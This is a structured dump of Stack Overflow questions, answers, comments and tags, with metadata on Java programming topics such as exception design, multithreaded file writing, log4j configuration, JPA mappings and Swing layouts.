has title: Get the x-Coordinate in a ScrolledForm SWT

http://stackoverflow.com/comment/33767200
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22236009
score: 0
has text: @SotiriosDelimanolis That's the point. Because of `null` possibility, you have to do the check and depending on whether you call `equals()` for `o`, or for other elements, you do either a single or many null checks.

http://stackoverflow.com/comment/33787633
type: Comment
has text: code is stuck in infinite loop at top of method now, i posted the code its stuck at?
type: AnswerComment
comment on: http://stackoverflow.com/a/22246724
score: 0

http://stackoverflow.com/q/22313381
has answer: http://stackoverflow.com/a/22313420
has comment: http://stackoverflow.com/comment/33906531
accepted answer: http://stackoverflow.com/a/22313420
type: Question
has title: Creating a ship log... What method to use? JAVA
has comment: http://stackoverflow.com/comment/33906568
score: -2
has comment: http://stackoverflow.com/comment/33907117
tagged with: java
has comment: http://stackoverflow.com/comment/33906700
downvote count: 2
answer count: 1
favorite count: 0
has body: I'm working on my first big project and one thing I need to do is create a log of all the ships in a game and all their stats, their name, class etc... There must be at least over 100 ships. I thought about using a Hashmap, but I would need more than one value per key. I thought about doing a bunch of string arrays, but I think that would take too much memory. Should I read the values in from a .txt file? Any suggestions would be greatly appreciated, and thank you for your time. :D
type: AnsweredQuestion
upvote count: 0

http://stackoverflow.com/q/22252441
score: 0
tagged with: exception
has answer: http://stackoverflow.com/a/22253467
possible better answer: http://stackoverflow.com/a/22253851
has answer: http://stackoverflow.com/a/22253851
has comment: http://stackoverflow.com/comment/33797003
has title: How to create an application specific effective exception Hierarchy
accepted answer: http://stackoverflow.com/a/22253467
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33856931
type: Question
answer count: 2
has body: I am a newbie with designing stuff though I have some experience as a developer. My question is related to the statement - "It is always a good practice to design the exception hierarchy at the start of the project" After much of reading and researching the definition of a checked and unchecked exception is well clear. However, I still wonder what is the best practices in designing the exception hierarchy for an application. Is the below approach right? Create your own application specific top level exceptions MyAppRuntimeException MyAppCheckedException Subclass MyAppCheckedException with all your business exceptions where you want the caller to take a specific exception. For example TryWithADifferentInputException - This is not the right input, correct it TryAlternateServiceException - This service is not available, but you can choose another service that will do the job Similarly subclass your runtime exception which spiral up and are captured only by something like the spring exception resolver and display appropriate message on front end. Another thing that bugs me is how to come up with most of the exception scenarios at the start of the project. What should be the strategy to do so.

http://stackoverflow.com/comment/33859602
type: QuestionComment
comment on: http://stackoverflow.com/q/22273391
has text: @Bart It's difficult to read/write/understand and least but not last - when you look at your entity it tells you nothing about the persistence layer and you have to look-up everything you want to know from that ugly, unreadable pile of **** called xml. If you are using Java 1.5+ I cannot find any reason to prefer xml over annotations. That's it - nothing more and nothing less :)
score: 0
type: Comment

http://stackoverflow.com/comment/33788425
type: AnswerComment
type: Comment
has text: Thanks. In this case I receive the compilation error: Cannot cast from CategoryAxis to NumberAxis
comment on: http://stackoverflow.com/a/22248393
score: 0

http://stackoverflow.com/a/22268993
type: Answer
has body: Add the buttons to a panel with suitable layout (e.g. GridLayout or FlowLayout). Add the panel to the scroll pane.
has comment: http://stackoverflow.com/comment/33826903
answers question: http://stackoverflow.com/q/22268958
score: 8
has comment: http://stackoverflow.com/comment/33826509
has comment: http://stackoverflow.com/comment/33826224
downvote count: 0
upvote count: 8

http://stackoverflow.com/comment/33783548
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22242287
has text: @raVan: I updated the exisintg code with the complete code. Please have a look.

http://stackoverflow.com/comment/33655760
score: 1
comment on: http://stackoverflow.com/q/22174641
has text: here `return new MainActivity1();` you are trying to cast `FragmentActivity` to `Fragment`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33842533
type: Comment
comment on: http://stackoverflow.com/a/22277683
type: AnswerComment
has text: in your pc sir it is runnning ?
score: 0

http://stackoverflow.com/q/22207427
score: 2
tagged with: shuffle
upvote count: 2
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33715002
tagged with: bash
tagged with: random
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/22208584
has title: Shuffle multiple files in same order
favorite count: 0
has body: Setup: I have 50 files, each with 25000 lines. To-do: I need to shuffle all of them "in the same order". E.g.: If before shuffle: File 1 File 2 File 3 A A A B B B C C C then after shuffle I should get: File 1 File 2 File 3 B B B C C C A A A i.e. corresponding rows in files should be shuffled in same order. Also, the shuffle should be deterministic, i.e. if I give File A as input, it should always produce same shuffled output. I can write a Java program to do it, probably a script to. Something like, shuffle number between 1 and 25000 and store that in a file, say shuffle_order. Then simply process one file at a time and order existing rows according to shuffle_order. But is there a better/quick way to do this? Please let me know if more info needed.
has answer: http://stackoverflow.com/a/69837755
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33716421
has answer: http://stackoverflow.com/a/22208499

http://stackoverflow.com/comment/33789525
comment on: http://stackoverflow.com/q/22248987
has text: What have you *tried* to require unique team choices?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33880523
has text: @Diode check package org.endovantage.models and remove Annotation.java if it is not necessary
type: Comment
comment on: http://stackoverflow.com/a/22298744
score: 0
type: AnswerComment

http://stackoverflow.com/q/22213387
possible better answer: http://stackoverflow.com/a/22213628
has answer: http://stackoverflow.com/a/52862553
has answer: http://stackoverflow.com/a/22213628
favorite count: 0
has comment: http://stackoverflow.com/comment/33726067
has answer: http://stackoverflow.com/a/22213448
upvote count: 2
accepted answer: http://stackoverflow.com/a/22213468
has answer: http://stackoverflow.com/a/22770978
type: Question
score: 2
has body: I am trying to output the first "x" odds, but I am clueless on how to stop the loop at the number that x is. For example... if you input 6, I want it to show 1, 3, 5, 7, 9, 11. However, my coding does it for all the odds. import java.util.Scanner; public class OddNumber { public static void main(String[] args) { // TODO Auto-generated method stub System.out.println("Please input a number."); Scanner keyboard = new Scanner(System.in); int x = keyboard.nextInt(); int total = x*x; if (x &gt; 0){ System.out.println("The first 5 odd numbers are..."); } if (x &gt; 0){ for (int i = 0; i &lt; total; i++){ if (i % 2 != 0){ System.out.println(i+""); }} System.out.println("The total is "+total); } } }
type: AnsweredQuestion
tagged with: java
tagged with: loops
has answer: http://stackoverflow.com/a/22213658
has title: Java Odd Number Loop
downvote count: 0
answer count: 7
has answer: http://stackoverflow.com/a/22213468
has answer: http://stackoverflow.com/a/22213450

http://stackoverflow.com/comment/33922402
type: Comment
comment on: http://stackoverflow.com/a/22322854
has text: Doesn't java automated to initialized it to all 0.0?
score: 0
type: AnswerComment

http://stackoverflow.com/a/22186042
has comment: http://stackoverflow.com/comment/33678461
has comment: http://stackoverflow.com/comment/33677982
has body: I produced the following 2D array from the file you provided: 37 | 48 | 59 | 70 | 81 | 2 | 13 | 24 | 35 ----+----+----+----+----+----+----+----+---- 36 | 38 | 49 | 60 | 71 | 73 | 3 | 14 | 25 ----+----+----+----+----+----+----+----+---- 26 | 28 | 39 | 50 | 61 | 72 | 74 | 4 | 15 ----+----+----+----+----+----+----+----+---- 16 | 27 | 29 | 40 | 51 | 62 | 64 | 75 | 5 ----+----+----+----+----+----+----+----+---- 6 | 17 | 19 | 30 | 41 | 52 | 63 | 65 | 76 ----+----+----+----+----+----+----+----+---- 77 | 7 | 18 | 20 | 31 | 42 | 53 | 55 | 66 ----+----+----+----+----+----+----+----+---- 67 | 78 | 8 | 10 | 21 | 32 | 43 | 54 | 56 ----+----+----+----+----+----+----+----+---- 57 | 68 | 79 | 9 | 11 | 22 | 33 | 44 | 46 ----+----+----+----+----+----+----+----+---- 47 | 58 | 69 | 80 | 1 | 12 | 23 | 34 | 45 The array figures out the size of the square when it reads the first line of the file. This is very dynamic. Its works as long as the input file is a perfect square. I have no further error handling. Here is a simple approach which should adhere to your guidelines. import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; public class ReadMagicSquare { public static int[][] create2DIntMatrixFromFile(String filename) throws Exception { int[][] matrix = null; // If included in an Eclipse project. InputStream stream = ClassLoader.getSystemResourceAsStream(filename); BufferedReader buffer = new BufferedReader(new InputStreamReader(stream)); // If in the same directory - Probably in your case... // Just comment out the 2 lines above this and uncomment the line // that follows. //BufferedReader buffer = new BufferedReader(new FileReader(filename)); String line; int row = 0; int size = 0; while ((line = buffer.readLine()) != null) { String[] vals = line.trim().split("\\s+"); // Lazy instantiation. if (matrix == null) { size = vals.length; matrix = new int[size][size]; } for (int col = 0; col &lt; size; col++) { matrix[row][col] = Integer.parseInt(vals[co…
type: Answer
upvote count: 6
answers question: http://stackoverflow.com/q/22185683
has comment: http://stackoverflow.com/comment/33678203
has comment: http://stackoverflow.com/comment/33677820
has comment: http://stackoverflow.com/comment/61730342
score: 6
has comment: http://stackoverflow.com/comment/33677856
has comment: http://stackoverflow.com/comment/33678360
downvote count: 0

ldap
tags question: http://stackoverflow.com/q/22175930
tags question: http://stackoverflow.com/q/22326795
tags question: http://stackoverflow.com/q/22244216
tag name: ldap
tags question: http://stackoverflow.com/q/22295792
type: Tag
tags question: http://stackoverflow.com/q/22285357

http://stackoverflow.com/comment/33715527
type: Comment
score: 2
has text: Can you please post your code?
type: QuestionComment
comment on: http://stackoverflow.com/q/22207748

http://stackoverflow.com/q/22236879
type: UnansweredQuestion
tagged with: jdbc
tagged with: spring
answer count: 0
tagged with: transactions
tagged with: java
has title: Spring JTA Transaction fail to roll back
type: Question
has comment: http://stackoverflow.com/comment/33782202
has comment: http://stackoverflow.com/comment/33994354
tagged with: jta
has body: I need help to figure why my JTA transaction failed to really roll back despite seeing a rollback message in the log. My setup has a MySQL database and a Microsoft SQLserver database. I created 2 JNDI (tomcat-7) resources for transactional DataSource to both databases ( see my META-INF/context.xml ). I called com.my.AService.create(obj) . It is a method which will raise an exception to test whether rollback works. At the end of test , I can see in the log that there is a rollback message. But When I check the databases , I see committed records that should have been rollback. (see my truncated log ) Why did the rollback not working ? How do I fix it ? I am using : Apache Tomcat 7.0.50 jtom Spring framework 3.2.3 RELEASE Trucated Log where I see a rollback message for the Null pointer exception: 2014-03-06 11:42:06,103 DEBUG [org.springframework.transaction.interceptor.RuleBasedTransactionAttribute] - <Applying rules to determine whether transaction should rollback on java.lang.NullPointerException> 2014-03-06 11:42:06,103 DEBUG [org.springframework.transaction.interceptor.RuleBasedTransactionAttribute] - <Winning rollback rule is: RollbackRuleAttribute with pattern [Exception]> ... 2014-03-06 11:42:06,104 DEBUG [org.springframework.transaction.jta.JtaTransactionManager] - <Initiating transaction rollback> 2014-03-06 11:42:06,105 DEBUG [org.springframework.transaction.jta.JtaTransactionManager] - <Triggering afterCompletion synchronization> 2014-03-06 11:42:06,105 DEBUG [org.springframework.transaction.support.TransactionSynchronizationManager] - <Clearing transaction synchronization> Snippets form my projects: webapp/META-INF/context.xml : <Resource name="TransactionSynchronizationRegistry" auth="Container" type="javax.transaction.TransactionSynchronizationRegistry" factory="org.objectweb.jotm.TransactionSynchronizationRegistryFactory"/> <Transaction factory="org.objectweb.jotm.UserTransactionFactory" jotm.timeout="60"/> <Resource driverClassName="com.mysql.jdbc.Dri…
score: 0

mongodb-java
tags question: http://stackoverflow.com/q/22310557
tags question: http://stackoverflow.com/q/22181946
tag name: mongodb-java
type: Tag
tags question: http://stackoverflow.com/q/22218175

http://stackoverflow.com/a/22317737
type: AcceptedAnswer
type: Answer
score: 3
downvote count: 0
has body: try fully pathing your DB in your url public final static String connectionURL = "jdbc:derby:d:/myproject/projectDB;create=true;user=user1;password=psssword";
accepted answer of: http://stackoverflow.com/q/22317688
has comment: http://stackoverflow.com/comment/33916050
upvote count: 3
answers question: http://stackoverflow.com/q/22317688

http://stackoverflow.com/comment/33744968
has text: I've just amended the jsp file, ill ask our customer to check and look in the logs - i think that will fix it though. Thanks for the quick reply, much appreciated!
score: 0
comment on: http://stackoverflow.com/a/22224453
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/33730521
comment on: http://stackoverflow.com/a/22186512
score: 0
type: AnswerComment
type: Comment
has text: @stakSmashr Can you see my newest edit? I'm having trouble with the iteration....

http://stackoverflow.com/comment/33650429
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22171716
has text: Sorry, it is a Object of my code. I was thinking to do something like to parse a BasicDBObject through a JSON string to my Fact Object
type: AnswerComment

http://stackoverflow.com/a/22239847
type: Answer
has comment: http://stackoverflow.com/comment/33776337
has comment: http://stackoverflow.com/comment/33774809
answers question: http://stackoverflow.com/q/22239140
has comment: http://stackoverflow.com/comment/33774946
has comment: http://stackoverflow.com/comment/33774396
has comment: http://stackoverflow.com/comment/33775151
has comment: http://stackoverflow.com/comment/33779451
has comment: http://stackoverflow.com/comment/33774695
has comment: http://stackoverflow.com/comment/33774790
score: 0
has body: It seems to me that the server is probably sending a blank or extra line somewhere that you haven't accounted for. I'm the world's last and least fan of calling available() or ready() but maybe this is a case for it: do { String response = in.readLine(); // ... } while (in.ready()); ... at least for debugging purposes, until you sort out exactly what the response is to each line you send. Note that using a while loop here would be definitely incorrect.
has comment: http://stackoverflow.com/comment/33774247

http://stackoverflow.com/q/22308158
type: Question
has answer: http://stackoverflow.com/a/22308367
has answer: http://stackoverflow.com/a/31284337
has comment: http://stackoverflow.com/comment/74872637
score: 10
has comment: http://stackoverflow.com/comment/33896954
possible better answer: http://stackoverflow.com/a/22308367
linked to: http://stackoverflow.com/q/8602466
tagged with: postgresql
tagged with: file-io
answer count: 3
accepted answer: http://stackoverflow.com/a/22308236
favorite count: 0
tagged with: multithreading
has title: Writing a file using multiple threads
upvote count: 13
has comment: http://stackoverflow.com/comment/49612843
type: AnsweredQuestion
tagged with: bufferedwriter
tagged with: java
downvote count: 3
has answer: http://stackoverflow.com/a/22308236
has body: I am trying to write a single huge file in Java using multiple threads. I have tried both FileWriter and bufferedWriter classes in Java. The content being written is actually an entire table (Postgres) being read using CopyManager and written. Each line in the file is a single tuple from the table and I am writing 100s of lines at a time. Approach to write: The single to-be-written file is opened by multiple threads in append mode. Each thread thereafter tries writing to the file file. Following are the issues I face: Once a while, the contents of the file gets overwritten i.e: One line remains incomplete and the next line starts from there itself. My assumption here is that the buffers for writer are getting full. This forces the writer to immediately write the data onto the file. The data written may not be a complete line and before it can write the remainder, the next thread writes its content onto the file. While using Filewriter, once a while I see a single black line in the file. Any suggestions, how to avoid this data integrity issue?

http://stackoverflow.com/q/22232096
upvote count: 1
linked to: http://stackoverflow.com/q/22234021
answer count: 1
has body: I have an object which is serialised and written to a file. Before de serialising the file back into an object instance, I want to maliciously edit the txt in the file. //FILE TAMPER //Lexical block: Tamper { String output = null; //Lexical block make output { LinkedList&lt;String&gt; lls = new LinkedList&lt;String&gt;(); //Lexical block: Reader { BufferedReader br = new BufferedReader(new FileReader(fileString)); while (br.ready()) { String readLine = br.readLine(); lls.add(readLine); } br.close(); } //Lexical block: manipulate { //Henry Crapper final String[] llsToArray = lls.toArray(new String[lls.size()]); for (int i = 0; i &lt; llsToArray.length; i++) { String line = llsToArray[i]; if (line.contains("Henry")) { line = line.replace("Henry", "Fsekc"); llsToArray[i] = line; } if (line.contains("Crapper")) { line = line.replace("Crapper", "Dhdhfie"); llsToArray[i] = line; } lls = new LinkedList&lt;String&gt;(Arrays.asList(llsToArray)); } } //Lexical block: write output { StringBuilder sb = new StringBuilder(); for (String string : lls) { sb.append(string).append('\n'); } output = sb.toString(); } } //Lexical block: Writer { BufferedWriter bw = new BufferedWriter(new FileWriter(fileString)); bw.write(output); bw.close(); } } However the edited file isn't correct and has some unusual characters. //Before ¨Ìsr&amp;Snippets.Parsed.EmployeeSerialization0I bankBalanceLnametLjava/lang/String;xp•Åt Henry Crappe //After ÔøΩÔøΩsr&amp;Snippets.Parsed.EmployeeSerialization0I bankBalanceLnametLjava/lang/String;xpÔøΩÔøΩt Fsekc Dhdhfie I'm guessing there is some sort of non readable character issue or something? Answer continued in a new question is here
tagged with: readfile
favorite count: 0
tagged with: serialization
has comment: http://stackoverflow.com/comment/33759944
type: AnsweredQuestion
has title: How to I read and edit txt in a serialised file?
downvote count: 0
score: 1
tagged with: java
accepted answer: http://stackoverflow.com/a/22232277
has comment: http://stackoverflow.com/comment/33758802
type: Question
has answer: http://stackoverflow.com/a/22232277
has comment: http://stackoverflow.com/comment/33761119

http://stackoverflow.com/q/22280013
favorite count: 0
has body: What wrong in this method declaration? public abstract class A&lt;K extends Number&gt;{ public abstract &lt;K&gt; A&lt;K&gt; useMe (A&lt;K&gt; k); } I see compile error: java: type argument K is not within bounds of type-variable K my first thought for this compile error was that as - It is not guaranteed that K is Number in my method declaration, that's why issue is coming. But in another case as below: public abstract &lt;K&gt; A&lt;? extends Number&gt; useMe (A&lt;? super K&gt; k); A&lt;? super K&gt; is again not guaranteed that it is Number (However IDE sign warning) but it is not compile error. What are the differences?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22280157
has comment: http://stackoverflow.com/comment/33847025
has comment: http://stackoverflow.com/comment/33847272
has comment: http://stackoverflow.com/comment/33846869
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33847057
has comment: http://stackoverflow.com/comment/33846975
tagged with: java
tagged with: methods
has comment: http://stackoverflow.com/comment/33859615
has comment: http://stackoverflow.com/comment/33847189
linked to: http://stackoverflow.com/q/20752781
type: Question
has comment: http://stackoverflow.com/comment/33846906
has comment: http://stackoverflow.com/comment/33846527
has answer: http://stackoverflow.com/a/22280045
has comment: http://stackoverflow.com/comment/33859430
has comment: http://stackoverflow.com/comment/33846430
has title: generic method declaration within generic class. Boundaries allowing different for super and without it
has comment: http://stackoverflow.com/comment/33852396
answer count: 2
has comment: http://stackoverflow.com/comment/33847219
has comment: http://stackoverflow.com/comment/33848064
has comment: http://stackoverflow.com/comment/33847850
has comment: http://stackoverflow.com/comment/33847408
downvote count: 0
tagged with: generics

http://stackoverflow.com/a/24522225
type: Answer
answers question: http://stackoverflow.com/q/22255198
has body: I created a class called FilteredLineIterator that can do as you wish. FilteredLineIterator filters another string iterator (which is normally the lines in a text file), keeping or discarding each line based on the entities in which it exists: "blocks", "single line" and "stealth block" entities. Each kept line may be altered. (FilteredLineIterator is part of XBN-Java. Download the necessary jars here.) The below example demonstrates a FilteredLineIterator where all lines are kept, but only the line in the JavaDoc block (specifically, in its "mid" lines) are altered. The alteration is a regular expression replacement, which eliminates any leading asterisk--which is roughly the behavior of javadoc.exe (I've added an additional "normal" [non-JavaDoc] multi-line comment block to the beginning of your input, because it's likely there's at least one normal block in a real source file. Since both "normal" and JavaDoc comment blocks both end with "*/", this demonstrates how to prevent the end line in a "normal" multi-line comment from generating an incorrect "end line found before block opened" error. This is done with a "stealth block" whose only purpose is to prevent false positives such as this.) import com.github.xbn.linefilter.FilteredLineIterator; import com.github.xbn.linefilter.KeepUnmatched; import com.github.xbn.linefilter.Returns; import com.github.xbn.linefilter.alter.NewTextLineAltererFor; import com.github.xbn.linefilter.alter.TextLineAlterer; import com.github.xbn.linefilter.entity.BlockEntity; import com.github.xbn.linefilter.entity.EntityRequired; import com.github.xbn.linefilter.entity.KeepMatched; import com.github.xbn.linefilter.entity.NewBlockEntityFor; import com.github.xbn.linefilter.entity.NewStealthBlockEntityFor; import com.github.xbn.linefilter.entity.StealthBlockEntity; import com.github.xbn.regexutil.ReplacedInEachInput; import com.github.xbn.testdev.GetFromCommandLineAtIndex; import com.github.xbn.util.IncludeJavaDoc; import java.util.Iterator…
score: 0

http://stackoverflow.com/a/22289435
answers question: http://stackoverflow.com/q/22289157
score: 2
has body: There are a number things you might try. You could... add the piece label to the board label. This would allow you to "overlay" the piece over the individual cells. This would require you to use a layout manager for the cell, something like a GridBagLayout might do, as it automatically centers the components within it's parent's space. You Could... Use a JLayeredPane using something like a GridBagLayout, would allow you to over one panel on top of another. The bottom layer would be a JPanel, which contained each cell of the board and the top layer would be a transparent JPanel which contained all the pieces This becomes more complicated as you'd need to devise some way to fill the empty spaces of the "pieces" layer. Both layers would use either a GridBagLayout or GridLayout depending on your needs... You Could.... Use a single container and a GridBagLayout. This would allow you to add two components to the same (virtual) cell within the layout at the same time. This becomes a little tricky, as you need to manage the z-depthness of the components to ensure that the pieces are laid out on top of the board.
downvote count: 0
upvote count: 2
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22289157

http://stackoverflow.com/comment/33914462
score: 0
type: AnswerComment
has text: I think he may even want i+1.
type: Comment
comment on: http://stackoverflow.com/a/22318097

http://stackoverflow.com/q/22198586
score: 1
tagged with: java
tagged with: multithreading
type: Question
has title: Attempting to Implement a Thread for a Game Loop
has answer: http://stackoverflow.com/a/22198802
has body: I am a novice learning Android development and the next step I must take is to be capable to understanding threads to be able to implement a game loop. I have taken knowledge from google and StackOverflow and snippets from examples to come up with a lump of code that seems to not be working: MainActivity.java GameSetup.java GameView.java activity_main.xml game_setup.xml MainActivity.java is a simply title screen with a play button. This seems to work fine and will link to the next activity. However, I am getting a crash whenever I attempt to load up the next activity. My guestimations based on the error lead me to believe that threads have issues with RelativeActivity, but I'm not so sure on what the issue may be exactly, I am rather confused. Here is the error I am getting thrown, I am having issues trying to decipher the issue with it. Thanks.
answer count: 2
upvote count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/22198805
favorite count: 0
type: UnansweredQuestion
tagged with: android

http://stackoverflow.com/comment/33834010
type: Comment
has text: Yes, I checked that weblogic.jar is mismatched. Now, the issue is solved.
type: AnswerComment
score: 2
comment on: http://stackoverflow.com/a/22269290

http://stackoverflow.com/q/22220248
tagged with: java
type: Question
has answer: http://stackoverflow.com/a/22220669
has comment: http://stackoverflow.com/comment/33737980
has body: I'm trying to open Eclipse with a workspace that I normally use, but I got an error. Here is a part from the log (Any help is really appreciated): !SESSION 2014-01-22 10:01:39.699 ----------------------------------------------- eclipse.buildId=4.3.0.M20130911-1000 java.version=1.7.0_45 java.vendor=Oracle Corporation BootLoader constants: OS=win32, ARCH=x86_64, WS=win32, NL=en_US Framework arguments: -product org.eclipse.epp.package.standard.product Command-line arguments: -os win32 -ws win32 -arch x86_64 -product org.eclipse.epp.package.standard.product This is a continuation of log file D:\PhD_SVN\Code\.metadata\.bak_0.log Created Time: 2014-01-22 15:17:42.504 !ENTRY org.eclipse.ui 4 0 2014-01-22 15:17:42.507 !MESSAGE Unhandled event loop exception !STACK 0 java.lang.reflect.UndeclaredThrowableException at com.sun.proxy.$Proxy15.mouseMove(Unknown Source) at org.eclipse.swt.widgets.TypedListener.handleEvent(TypedListener.java:212) at org.eclipse.swt.widgets.EventTable.sendEvent(EventTable.java:84) at org.eclipse.swt.widgets.Widget.sendEvent(Widget.java:1057) at org.eclipse.swt.widgets.Display.runDeferredEvents(Display.java:4170) at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3759) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine$9.run(PartRenderingEngine.java:1113) at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332) at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.run(PartRenderingEngine.java:997) at org.eclipse.e4.ui.internal.workbench.E4Workbench.createAndRunUI(E4Workbench.java:138) at org.eclipse.ui.internal.Workbench$5.run(Workbench.java:610) at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:332) at org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:567) at org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:150) at org.eclipse.ui.internal.ide.application.IDEApplication.start(IDEApplication.java:124) at org.eclipse.equinox.internal.…
score: 0
answer count: 3
has title: I can not open Eclipse
linked to: http://stackoverflow.com/q/17418709
has comment: http://stackoverflow.com/comment/33737697
has comment: http://stackoverflow.com/comment/33737693
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/15459661
has comment: http://stackoverflow.com/comment/33737715
tagged with: logfiles
has answer: http://stackoverflow.com/a/22220332
has answer: http://stackoverflow.com/a/22220373

http://stackoverflow.com/comment/33739988
type: QuestionComment
has text: AFAIK, getCell always returns float values. Have you tried parsing to Integer and then doing Math.round() on the value?
score: 0
comment on: http://stackoverflow.com/q/22221700
type: Comment

http://stackoverflow.com/q/22240328
has title: How to draw a gif animation in java?
has comment: http://stackoverflow.com/comment/33774594
favorite count: 0
tagged with: animation
tagged with: swing
has body: I have some gif animated images (see sample image below) and when I draw them with the graphics object, I am getting only the first image, I know I can do this with JLabel (from other stackoverflow answers) but I want to do that with the graphics object, can anyone please tell me an easy way how to draw the whole animation?
has comment: http://stackoverflow.com/comment/86004285
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22240487
has comment: http://stackoverflow.com/comment/33777489
linked to: http://stackoverflow.com/q/10836832
tagged with: java
accepted answer: http://stackoverflow.com/a/22240487
duplicate of: http://stackoverflow.com/q/10836832
type: Question
tagged with: graphics
score: 5
has comment: http://stackoverflow.com/comment/33774660
upvote count: 5
linked to: http://stackoverflow.com/q/22188940
tagged with: image
duplicate of: http://stackoverflow.com/q/22188940
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33774910

http://stackoverflow.com/a/22300630
accepted answer of: http://stackoverflow.com/q/22300323
answers question: http://stackoverflow.com/q/22300323
upvote count: 2
type: Answer
has body: I recommend that you to use the Japura API to deal with this, check this link: http://www.japura.org/checkcombobox Best Regards :)
type: AcceptedAnswer
score: 2
downvote count: 0

http://stackoverflow.com/comment/33835445
type: QuestionComment
has text: @Raghunandan That was it, found the workaround too on that page: WORKAROUND: In Eclipse, open the SDK Manager (via toolbar or Window menu) > Tools > Manager AVDs. This will invoke the external version of the AVD Manager which will properly generate AVDs. Other workaround: use the command-line version (Shell or cmd.exe, cd SDK, "tools\android.bat avd").
comment on: http://stackoverflow.com/q/22273838
score: 0
type: Comment

http://stackoverflow.com/a/22285229
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22285196
type: Answer
upvote count: 1
has comment: http://stackoverflow.com/comment/33856660
answers question: http://stackoverflow.com/q/22285196
score: 1
has body: Float f = new Float("0.123456789"); System.out.println(f.toString().charAt(5)); Prints 4. Try in this direction.

http://stackoverflow.com/a/22293314
upvote count: 2
has body: Others have suggested creating just one User object. An alternative would be to have two User objects, but with the same reference for the value of the jim field: User keith = new User(); User justin = new User(); justin.jim = keith.jim; This would be useful if you have other fields where keith and justin need to be different, but any change in the object that the value of the jim field refers to must be seen by both. Both of these are valid options, depending on your requirements. A few points, however: This means the original value of justin.jim because pointless; you could consider adding a User constructor taking a Number reference for the initial value of the field, allowing you to write: User justin = new User(keith.jim); Shared mutable state like this can become tricky to reason about, particularly in the face of multiple threads As noted in comments, you should rename your Number class to be something that isn't in java.lang (or java.util etc, if possible). You should follow Java naming conventions for your methods, using camelCase instead of PascalCase - I'd call them getValue and setValue, personally.
answers question: http://stackoverflow.com/q/22293257
has comment: http://stackoverflow.com/comment/33870376
type: Answer
has comment: http://stackoverflow.com/comment/33870296
downvote count: 0
has comment: http://stackoverflow.com/comment/33870258
score: 2

http://stackoverflow.com/comment/33834081
type: Comment
type: QuestionComment
has text: @ravuya: `GL_POLYGON_SMOOTH` applies to any filled primitive. What it does not apply to are lines or points. There are separate smoothing states for those two types of primitives.
comment on: http://stackoverflow.com/q/22273340
score: 0

http://stackoverflow.com/q/22321109
type: AnsweredQuestion
downvote count: 0
has title: Configuring log4j2 and log4j using a single log4j2 xml file
tagged with: java
possible better answer: http://stackoverflow.com/a/42580709
has body: I've migrated my application to log4j 2, and I've configured it via log4j2.xml However, some of the libraries I'm using depend on log4j 1. If I run the application using: -Dlog4j.configurationFile=path/to/log4j2.xml log4j 1 complains about not finding a configuration file. I'm using the log4j 1.x bridge provided by log4j 2, log4j-1.2-api-2.0-rc1.jar. Is it possible to configure both using a single log4j2.xml? An alternative I've tried is configuring both log4j and log4j2 together: -Dlog4j.configurationFile=path/to/log4j2.xml -Dlog4j.configuration=path/to/log4j.xml My concern is fragmentation of my logging configuration files and output. I'm also concerned about possible conflicts between log4j.xml and log4j2.xml. e.g. the logfile error.log is configured to use a FileAppender in log4j 1 and a RollingFileAppender in log4j 2. Any advice? [note] This is the error I'm seeing: log4j:WARN No appenders could be found for logger (org.apache.activemq.util.ThreadPoolUtils). log4j:WARN Please initialize the log4j system properly. log4j:WARN See http://logging.apache.org/log4j/1.2/faq.html#noconfig for more info. The version of log4j 2 I'm using is log4j 2.0 rc1. [answer] Seems like activemq-5.8.0.jar was bundled with log4j 1. The solution was simply to load the log4j 1.x bridge before activemq.
tagged with: log4j2
type: Question
score: 27
has answer: http://stackoverflow.com/a/22321859
accepted answer: http://stackoverflow.com/a/22321859
answer count: 2
has answer: http://stackoverflow.com/a/42580709
tagged with: log4j
favorite count: 0
upvote count: 27
tagged with: logging

http://stackoverflow.com/comment/33647533
comment on: http://stackoverflow.com/a/22169747
type: AnswerComment
score: 0
type: Comment
has text: @CaioPetrelli glad it's working for you now. `catch` is necessary as `Save()` may throw various exceptions which you need to handle.

http://stackoverflow.com/q/22174097
type: Question
has comment: http://stackoverflow.com/comment/33678336
tagged with: java
downvote count: 3
has comment: http://stackoverflow.com/comment/33661348
tagged with: jpa
answer count: 1
favorite count: 0
tagged with: one-to-many
accepted answer: http://stackoverflow.com/a/22187143
tagged with: many-to-one
score: -3
has title: JPA OneToMany The Many With same model and same column
has comment: http://stackoverflow.com/comment/33655427
has body: Article.java @OneToMany @JoinColumn(name = "refId", referencedColumnName = "id") private List&lt;Attachment&gt; attachmentList; Book.java @OneToMany @JoinColumn(name = "refId", referencedColumnName = "id") private List&lt;Attachment&gt; attachmentList; Attachment.java private String refId The Article and Book has many Attachment and join with same column "refId". The Attachment Entity how to code?
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/22187143

http://stackoverflow.com/comment/33759922
comment on: http://stackoverflow.com/q/22207447
score: 3
type: Comment
type: QuestionComment
